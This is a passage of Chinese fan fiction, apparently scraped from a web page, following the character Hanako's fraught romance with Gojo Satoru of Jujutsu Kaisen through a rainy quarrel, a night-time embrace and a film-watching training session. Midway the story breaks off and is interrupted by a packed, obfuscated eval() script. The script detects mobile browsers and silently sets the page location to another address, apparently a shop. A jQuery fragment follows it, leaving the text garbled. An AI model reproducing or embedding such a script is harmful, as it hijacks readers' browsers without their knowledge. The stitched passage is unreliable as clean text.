*
不知道是不是感受到了她那股子无处安放的恶意,还是说五条悟本身就是一个不甘示弱的顽劣家伙,他立刻就选择了反击,龇牙咧嘴一脸讥笑:“真是LOW啊你这家伙~”
就是这一刻,花子拉下了脸,她想要认真去看对方,可心思好像完全不在这上面了。
……她又在床底看到了他的半截尸体,他侧过脸,睁眼回看她:“你想要我死掉,对吗?”
花子被脑海里窜出来的画面吓得头皮发麻,因为她发现,就在此时,就是现在,她想要对方死掉。
她喜欢对方,却也希望对方去死。
可是为什么会这样呢?
真是矛盾……
她真的喜欢五条悟吗?
还是说,一切都只是一场幻觉,她在自嗨罢了?
说到底,五条悟其实也并不喜欢她吧?
外头在下雨,奇怪的是,之前是一点也听不见声响的,现在却仿佛近在咫尺,带着下雨天挥之不去的黏腻感……
就在她转身前,五条悟突然就向她道歉了,双颊红晕,双手比耶,还爽朗笑道:“哎呀,是我错啦!你是个强者,连我都不是你的对手哦,咒术界以后就要靠你拯救啦,少女!”
他是不是觉得自己这样很好笑?还是说觉得她很好笑?才会这样一次又一次地选择来羞辱她?
这种看似示弱实则更加用力的讥笑样,是他惯常的伎俩,那些被他整破防的人能不讨厌他才怪!
就连花子此刻,都无法不厌恶他,想要他赶紧去死,也没办法不去怀疑自己的喜欢或许真的很肤浅吧。
……转身一头扎进了大雨,她不打算在他面前示弱,再待在他身边,被激得哭出来,她也会瞧不起自己的。
在雨中的话,就没人发现她的狼狈了吧?
雨水击打着她的脑袋,颗颗圆润而坚固,像某种玉石俱焚的错觉,肌肤上裂开的伤口,持续性地疼痛……
却在这场夏雨里逃之夭夭,无处寻觅。
花子小跑着,感受着被久违的寒意浸泡的滋味,有时候她会很享受这种不被人看见的时刻,冷冷清清的黄昏在向黑夜过渡,雨雾将一切情绪都遮掩在深灰的惆怅里,模糊的雨滴躲过车刷般的睫毛,在眼窝里积聚,流淌,汇成越发看不清的前路……
五条悟贱兮兮地凑上来:“为什么闹脾气?”
花子扭过头,瞪他!合着这个人认为她是在无理取闹是吧?谁给他的脸?咒灵吗?
他是真的不知道他很过分吗?
她选择直接骂了回去:“关你什么事!讨厌鬼!”
可笑的一直都是,这种显而易见,再明白不过的差距。雨是那样疼痛,以至于每处被扭曲的形状都像是伤口一样,非要强迫症地将她的狼狈,一遍遍地告知对方。
他是真的不知道吗?
开着无下限的他,就是裹了层塑料膜,将她和世界彻底隔开,一分一秒的雨水都无法动摇他的强大,在他的领域内,他可以轻而易举地改变规则,随心所欲地去做自己想做的事情,所谓的目中无人,那又怎样?
他根本就不在乎……
不是真的不知道,也不是情商低,他只是不在意她罢了,就像他不会去在意电车的时间或者甜点的菜单……
如非必要,他更不会去在意弱者怎么想他怎么看他,那些纠结来纠结去的情绪与他何干。
确实,他干嘛要去在意呢?
他那么强大,就拥有目中无人的权利。
反而……
扭曲的倒是她,这种弱者的……不,小人作祟的心思。
花子停住了,连绵不断的雨水就是最好的分隔线,将她所有真实的情绪都收敛在这一段的结尾处——
“给我一点时间,不会给你添麻烦了。”
断断续续的雨,分不清开始还是结尾,如果下得太快的话,就会连成一条线,反而忽略掉它本身的真实。
五条悟却道:
“你在哭吗?”
而下雨也是疼痛的延续……
花子一直这么认为,而她密密麻麻的伤口,会有人看见吗?
还是一如既往地,不抱希望地,不被人在意呢?
花子仰起脸问道:
“是啊,你会在意?”
五条悟不说话。
一瞬间,雨如泪下,淋个彻底……
一头白发,扭曲成了伤口形状,雨水在冷玉的脸上,点点滴滴,洗刷了不断蔓延的疼痛……
而在他眼里,她始终在哭泣。
他的无下限,第一次失效了……
“真拿你没办法……”
“我陪着你哦。”
墨镜静静躺在水坑旁,眼睛凝视着泪水,一直一直看下去的话,是不是就不会感到寂寞了?
……
回去后匆匆洗了个澡,倒在床上,半天都起不来,没办法,浑身肌肉都在酸疼,一抽一抽的,大概是运动过度了吧?
就不该大雨天冲出去,要是感冒就搞笑了,说起来都是五条悟的错!
只要一想到对方是如何嘲笑她的,就忍不住恨得牙痒痒,但随即脑海里又浮现他陪她淋雨的画面,他温柔地低下头,雨水顺着雪白发梢滴落……
花子捂住脸,真过分啊。
“咚咚咚……”
有人敲门!
谁啊?这大晚上的!
花子冷不防地就有了猜想,不会是五条悟吧?他可从来都没有主动来找过她啊!
心噗通噗通地…跳。
就好似为了验证这个猜想,她趴在门后竖起耳朵去听——
唔,啥也没听到,这行为也蛮傻的……
“呵呵呵……”有人在低笑。
什么鬼?!
花子蓦地拉开门,就被人抱了个满怀!至上而下,没有一丝空隙的占据,就连脚跟都无法承受地倾倒下去,转瞬间却被更加紧密地拥入怀里——
“你……你干什么啊?”她被自己嗔怪的声音给吓坏了,咬着唇,不知所措。
“呵呵呵……”
白发彻底埋入她的脖颈,略显急促的气息亲吻着过分敏感的肌肤,一点一点将她的理智尽数祓除。
耳鬓厮磨中,他深深吸了一口气,感慨道:“好香好软啊~”
“砰”地一下,脸烧了起来!更加站不住地挂在他身上,这个人到底在说些什么啊?
真…真…真的太过分了!
他不懂得人与人之间最基本的社交距离吗?可也没见他不管不顾地去拥抱别的女孩子啊?
这是他第二次拥抱她了,没有任何缘由的,也无法用友谊去解释,否则他完全可以去抱硝子或者歌姬啊……干嘛要对她特殊呢?
还是说,这是他惯常的恶作剧吗?该死的家伙!总是害她胡思乱想,还不给她一个解释!
真的是太过分了!
所以他到底什么意思啊?让她在他怀里思来想去,脑子乱成蚂蚁死亡漩涡很好玩是吗?</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154170|196503||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
如果真的是他……喜欢她呢?有可能吗?五条悟会爱上某个女孩子,完全没有人会相信的吧?!
……
她大概真的相信歌姬她们痛斥五条悟人渣的结论,真他爹的是个大人渣啊!自从那晚上的拥抱过后,他突然地出现,突然地消失,完全没有个解释,主打一个你猜呀猜但我不负责哦~的狗态度,让她失眠了好几夜。
睡到一半都要坐起来骂骂咧咧:“不是,他是不是脑子有病?!”
不过在咒术训练上,五条悟倒对她挺上心的,见她术式运用并不熟练,就很有耐心地去指导她,还提了不少实用的建议,令花子豁然开朗。
"让我们来看电影吧!"五条悟嘟嘴道,他还顺带关了灯。
“啪!”
地下室陷入了黑暗。
同时陷入沙发的花子缩了缩脚,咽了咽口水:“这和训练有什么关系?”
“你先别急……”五条悟在她身边坐下,他穿着休闲短袖,盘起双腿,姿势随意到放肆。
“要看哪部影片呢?”
花子低下头去,在一排花花绿绿的碟片中找出了一部她认为最无聊的电影,这是她的小心思啦,和五条悟在一起,她肯定没办法专注别的事情。
“那就这个吧,《那年夏天,宁静的海》。”
“你喜欢大海?”
“嗯。”
在这种封闭只有彼此的环境中,花子感到很不自在,尤其是伸手不见五指,会无限放大人类的五感,让肮脏的欲.念插上想象的翅膀飞,飞啊,飞啊,妄图去染指神的领域……
此刻的五条悟是安静的,从侧面看去,是一种冰川白,那片万年未曾涉足的极地,每当雪水融化,一颗颗剔透的小冰晶也就回到了它们初始的状态……
像水一样流动着的纯净……
五条悟不经意提道:“下个夏天,一起去看海吧。”
“好。”花子乖乖点头。
“当当当当!”对方变魔术一样从身后拿出了一个丑不拉几的玩偶。
“这……不是老师的咒骸吗?!”
“是啊,你必须持续给它注入稳定的咒力,不然它就会杀掉你哦!”
面对五条悟阴恻恻的语气,花子吓得直缩头:“不是吧?我现在放弃还来得及吗?”
“来不及啦,要死一次试试看吗?”他露出一排雪齿,更加可怕了好嘛!
花子:“……”
这台词有点熟悉呢,他也看地狱少女?
“好啦,开玩笑的,放松~放轻松~”
花子暗自松了口气,然后……
“啊!好痛!!!”
那个该死的咒骸扯了一下她的头发,还在沙发上上蹿下跳地嘲笑她!
过分!太过分了!
“啊,忘记说了。”五条悟散漫道,“咒力维持不住的话,就要接受它小小的惩罚,比如说现在这样……”
花子怒视之。
见对方乐呵呵靠了过来,她气呼呼地按住丑不拉几的咒骸,算了,还是看电影吧,毕竟都错过开头了。
心里却忍不住窃喜,good job 啊!幸亏她聪明伶俐选了个慢节奏的电影,剧情几乎无甚起伏……
这样也就能顺利撑到结……
等等……
好像有什么感觉不一样了……
是什么呢?
她为什么能听见窸窸窣窣布料作祟的声响……
就好像有人在靠近她……